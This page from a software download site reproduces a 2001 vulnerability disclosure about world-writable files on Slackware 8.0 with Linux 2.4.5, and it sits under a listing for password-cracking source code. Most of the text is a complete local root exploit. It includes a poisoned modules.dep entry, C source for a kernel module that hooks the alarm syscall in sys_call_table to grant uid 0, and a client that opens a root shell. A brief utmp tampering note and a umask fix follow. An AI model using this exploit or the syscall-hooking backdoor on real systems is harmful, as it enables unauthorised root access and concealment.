⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 slackware.init.txt

📁 一个FTP密码破解程序的源代码
💻 TXT
字号:
I posted this to the linux kernel mailing last Friday, July 13th 2001:Submitted by  : Josh (josh@pulltheplug.com), lockdown                (lockdown@lockeddown.net) on July 16th, 2001Vulnerability : /lib/modules/2.4.5/modules.depTested On     : Slackware 8.0. 2.4.5Local         : YesRemote        : NoTemporary Fix : umask 022 at the top of all your startup scriptsTarget        : rootBig thanks to : slider, lamagra, zen-parseGreets to     : alpha, fr3n3tic, omega, eazyass, remmy, RedPen, banned-it,                cryptix, s0ttle, xphantom, qtip, tirancy, Loki,                falcon-networks.com.        The 2.4.x kernels starting with 2.4.3 (i think) have, afterload, left a umask of 0000.  This forces any files created in the bootupscripts, without the command `umask 022` issued to be world writeable.In slackware, files include /var/run/utmp and /var/run/gpm.pid.  This samevulnerability is responsible for creating /lib/modules/`uname -r`/modules.depworld writeable.  With this file world writeable, all an intruder need do isput something like the following in /lib/modules/`uname -r`/modules.depassuming the system's startup scripts modprobe lp:/lib/modules/2.4.5/kernel/drivers/char/lp.o:  /tmp/alarm.o/tmp/alarm.o:where the alarm.o module is:#include <linux/config.h>#include <linux/module.h>#include <linux/version.h>#include <linux/types.h>#include <asm/segment.h>#include <asm/unistd.h>#include <linux/dirent.h>#include <sys/syscall.h>#include <sys/sysmacros.h>#include <linux/sched.h>#include <linux/errno.h>#include <linux/fs.h>#include <linux/kernel.h>extern void* sys_call_table[];unsigned int (*old_alarm) (unsigned int seconds);unsigned int hacked_alarm (unsigned int seconds);unsigned int hacked_alarm(unsigned int seconds){           if(seconds == 454) {                current->uid = 0;                current->euid = 0;                current->gid = 0;                current->egid = 0;                return 0;            }   return old_alarm(seconds);}int init_module(void) { old_alarm=sys_call_table[SYS_alarm]; sys_call_table[SYS_alarm] = hacked_alarm; return 0;}void cleanup_module(void) {   sys_call_table[SYS_alarm] = old_alarm;}make a client:#include <stdio.h>#include <unistd.h>int main(void){  alarm(454);  execl("/bin/sh", "sh", NULL);}which will, when the module is loaded, execute a shell as root.        And of course with /var/run/utmp writeable, users can delete or inother ways manipulate their logins as they appear inw/who/finger/getlogin(), etc.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -